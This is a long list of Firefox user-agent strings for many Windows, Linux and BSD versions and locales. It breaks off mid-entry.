-Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-AU; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) FirePHP/0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0(Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 -Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0 -Mozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0 -Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (X11; FreeBSD i686) Firefox/3.6 -Mozilla/5.0 (X11; FreeBSD x86_64; rv:2.0) Gecko/20100101 Firefox/3.6.12 -Mozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0 -Mozilla/5.0 (X11; Linux) Gecko Firefox/5.0 -Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 -Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2 -Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0) Gecko/20100101 Firefox/3.6.17 Firefox/3.6.17 -Mozilla/5.0 (X11; Linux i686; rv:1.7.5) Gecko/20041108 Firefox/1.0 -Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110518 Firefox/4.0.1 -Mozilla/5.0 (X11; Linux i686; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 -Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20100101 Firefox/4.0b12pre -Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre -Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre -Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (X11; Linux ppc; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre -Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre -Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre -Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 -Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0 -Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9 -Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0 -Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 -Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0 -Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.0.8) Gecko/20061116 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Firefox/1.0.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20041114 Firefox/1.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20060303 Firefox/1.0.3 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.2) Gecko/20060414 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.8) Gecko/20061210 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090225 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090413 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 -Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 -Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL) Gecko Firefox -Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux AMD64; en-US; rv:1.9.2.3) Gecko/20100403 Ubuntu/10.10 (maverick) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0 -Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian) -Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 -Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux Gentoo i686; pl; rv:1.8.0.8) Gecko/20061219 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux Gentoo; 